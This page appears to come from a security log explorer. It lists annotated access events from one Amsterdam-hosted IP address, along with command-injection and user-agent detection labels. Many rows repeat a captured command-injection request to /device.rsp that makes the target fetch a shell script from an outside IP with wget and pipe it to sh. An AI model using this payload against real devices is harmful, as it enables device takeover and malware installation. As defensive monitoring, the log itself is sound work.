← Back to IP report

Log Explorer

Fact drill-down for 195.96.129.55

Risk 12 LOW Scope All time All-time facts 54 In-scope 54 Filtered 54 Seen 2025-08-16 → 2025-08-18

Freestyle query (contains)

Time (days, optional)

Page size 25 50 100 200

Apply Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

Annotator (exact) (any) base — 26 cmdi — 12 ua — 10 sfp — 6 Severity (exact) (any) (none) — 26 8 — 10 36 — 6 22 — 6 30 — 6 Label (exact) (any) observed — 26 cmdi — 12 ua — 10 sensitive_file — 6

HTTP facets

Method (exact, case-insensitive) (any) GET — 30 POST — 24 HTTP status (exact) (any) 400 — 51 301 — 3

Snapshot facets

Subnet (exact) (any) 195.96.129.0/24 — 54 ASN (exact) (any) 57043 — 54 Country / Region / City (exact)

(any country) The Netherlands — 54 (any region) North Holland — 54

(any city) Amsterdam — 54

Org contains (ip_org or as_org_name)

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Start

End

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

base 26 cmdi 12 ua 10 sfp 6

Top labels (facts, in-scope)

observed 26 cmdi 12 ua 10 sensitive_file 6

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 2 — total 54 rows

← Prev Next →

#1 2025-08-18 06:00:23 event 12194197 GET 301 bytes 178

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#2 2025-08-17 23:35:12 event 16029442 GET 400 bytes 264

ann base label observed

Request event observed

/

referer

-

UA

-

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

-

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#3 2025-08-17 23:35:12 event 16029442 GET 400 bytes 264

ann ua 8 label ua

Request Very short User-Agent string

/

referer

-

UA

-

Annotation facts

label

ua

rule

ua:very_short

conf

65.00

details

Short/generic UAs are common in basic scripts and commodity automation.

More (full fields + snapshot) expand

url

/

referer

-

UA

-

summary

Very short User-Agent string

details

Short/generic UAs are common in basic scripts and commodity automation.

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#4 2025-08-17 20:58:56 event 15969305 GET 400 bytes 264

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#5 2025-08-17 20:58:52 event 15969302 POST 400 bytes 264

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#6 2025-08-17 20:58:52 event 15969302 POST 400 bytes 264

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#7 2025-08-17 20:58:52 event 15969302 POST 400 bytes 264

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#8 2025-08-17 20:58:52 event 15969302 POST 400 bytes 264

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#9 2025-08-17 20:58:50 event 15969300 GET 400 bytes 166

ann base label observed

Request event observed

login.cgi

referer

-

UA

-

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#10 2025-08-17 20:58:50 event 15969300 GET 400 bytes 166

ann ua 8 label ua

Request Very short User-Agent string

login.cgi

referer

-

UA

-

Annotation facts

label

ua

rule

ua:very_short

conf

65.00

details

Short/generic UAs are common in basic scripts and commodity automation.

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

Very short User-Agent string

details

Short/generic UAs are common in basic scripts and commodity automation.

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#11 2025-08-17 20:58:43 event 15969288 GET 400 bytes 264

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#12 2025-08-17 20:58:38 event 15969287 POST 400 bytes 264

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#13 2025-08-17 20:58:38 event 15969287 POST 400 bytes 264

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#14 2025-08-17 20:58:38 event 15969287 POST 400 bytes 264

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#15 2025-08-17 20:58:38 event 15969287 POST 400 bytes 264

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#16 2025-08-17 20:58:35 event 15969282 GET 400 bytes 166

ann base label observed

Request event observed

login.cgi

referer

-

UA

-

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#17 2025-08-17 20:58:35 event 15969282 GET 400 bytes 166

ann ua 8 label ua

Request Very short User-Agent string

login.cgi

referer

-

UA

-

Annotation facts

label

ua

rule

ua:very_short

conf

65.00

details

Short/generic UAs are common in basic scripts and commodity automation.

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

Very short User-Agent string

details

Short/generic UAs are common in basic scripts and commodity automation.

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#18 2025-08-17 20:58:27 event 15969276 GET 400 bytes 666

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#19 2025-08-17 20:07:54 event 15931263 GET 400 bytes 264

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#20 2025-08-17 20:07:54 event 15931260 GET 400 bytes 264

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#21 2025-08-17 20:07:53 event 15931259 POST 400 bytes 264

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#22 2025-08-17 20:07:53 event 15931258 GET 400 bytes 166

ann base label observed

Request event observed

login.cgi

referer

-

UA

-

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#23 2025-08-17 20:07:53 event 15931256 POST 400 bytes 264

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#24 2025-08-17 20:07:53 event 15931255 GET 400 bytes 166

ann base label observed

Request event observed

login.cgi

referer

-

UA

-

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#25 2025-08-17 20:07:53 event 15931258 GET 400 bytes 166

ann ua 8 label ua

Request Very short User-Agent string

login.cgi

referer

-

UA

-

Annotation facts

label

ua

rule

ua:very_short

conf

65.00

details

Short/generic UAs are common in basic scripts and commodity automation.

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

Very short User-Agent string

details

Short/generic UAs are common in basic scripts and commodity automation.

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#26 2025-08-17 20:07:53 event 15931255 GET 400 bytes 166

ann ua 8 label ua

Request Very short User-Agent string

login.cgi

referer

-

UA

-

Annotation facts

label

ua

rule

ua:very_short

conf

65.00

details

Short/generic UAs are common in basic scripts and commodity automation.

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

Very short User-Agent string

details

Short/generic UAs are common in basic scripts and commodity automation.

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#27 2025-08-17 20:07:53 event 15931259 POST 400 bytes 264

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#28 2025-08-17 20:07:53 event 15931256 POST 400 bytes 264

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#29 2025-08-17 20:07:53 event 15931259 POST 400 bytes 264

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#30 2025-08-17 20:07:53 event 15931259 POST 400 bytes 264

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#31 2025-08-17 20:07:53 event 15931256 POST 400 bytes 264

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#32 2025-08-17 20:07:53 event 15931256 POST 400 bytes 264

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#33 2025-08-17 20:07:52 event 15931253 GET 400 bytes 264

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#34 2025-08-17 20:07:52 event 15931251 POST 400 bytes 264

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#35 2025-08-17 20:07:52 event 15931250 GET 400 bytes 166

ann base label observed

Request event observed

login.cgi

referer

-

UA

-

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#36 2025-08-17 20:07:52 event 15931248 GET 400 bytes 264

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

